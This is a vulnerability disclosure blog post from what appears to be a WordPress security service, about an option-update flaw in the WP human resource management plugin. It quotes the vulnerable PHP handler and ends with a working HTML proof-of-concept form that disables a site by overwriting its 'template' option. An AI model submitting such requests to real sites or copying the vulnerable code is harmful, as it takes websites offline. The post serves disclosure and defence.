03 Sep

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability Being Introduced in to WP human resource management

One of the ways we help to improve the security of WordPress plugins, not just for the customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated option update vulnerability being introduced in to the plugin WP human resource management.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

The plugin registers the function singel_form_add() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

24
add_action( 'wp_ajax_single_form', array( $this, 'singel_form_add' ) );

That function permits updating arbitrary WordPress options specified by the POST input “table_option”:

132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
function singel_form_add() {
	check_ajax_referer('hrm_nonce');
	if( ! isset( $_POST['table_option'] ) && empty( $_POST['table_option'] ) ) {
		wp_send_json_error( array( 'error_msg' => __('Update Failed', 'hrm') ) );
	}
	$data = array();
	$field = get_option( $_POST['table_option'] );
	if( count( $field['field_dif'] ) ) {
		foreach( $field['field_dif'] as $key => $name ) {
			$data[$name] = isset( $_POST[$name] ) ? esc_attr( $_POST[$name] ) : '';
		}
	}
	$field['data'] = $data;
	$update = false;
	if( count( $field['field_dif'] ) ) {
		$update = update_option( $_POST['table_option'], $field );

The code does place restrictions on what you can set new value of the option to, but as we have detailed with other vulnerabilities of this type, in that type of situation the code can be used to disable a website, by replacing the value of the “template” option.

The code also limits access as the requester has to have access to a valid value for the nonce “hrm_nonce”. The value for that is displayed on the plugin’s admin pages, which can be accessed by lower privileged users with HRM Employee role (there is also a HRM Manager role, but at least in our test environment when you tried to set a user role to that they had not role).

The code should be restricting what options can be updated and do a capabilities check to make sure the request is coming from a user who is intended to have access (the nonce should not be relied on to provide the equivalent of that).

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will disable the website, when logged in as a user with the HRM Employee role.

Make sure to replace “[path to WordPress]” with the location of WordPress and replace “[nonce]” with the value of the nonce found in the source code of the plugin’s admin pages on the line that begins “var HRM_Vars”.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=single_form" method="POST">
<input type="hidden" name="table_option" value="template" />
<input type="hidden" name="_wpnonce" value="[nonce]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.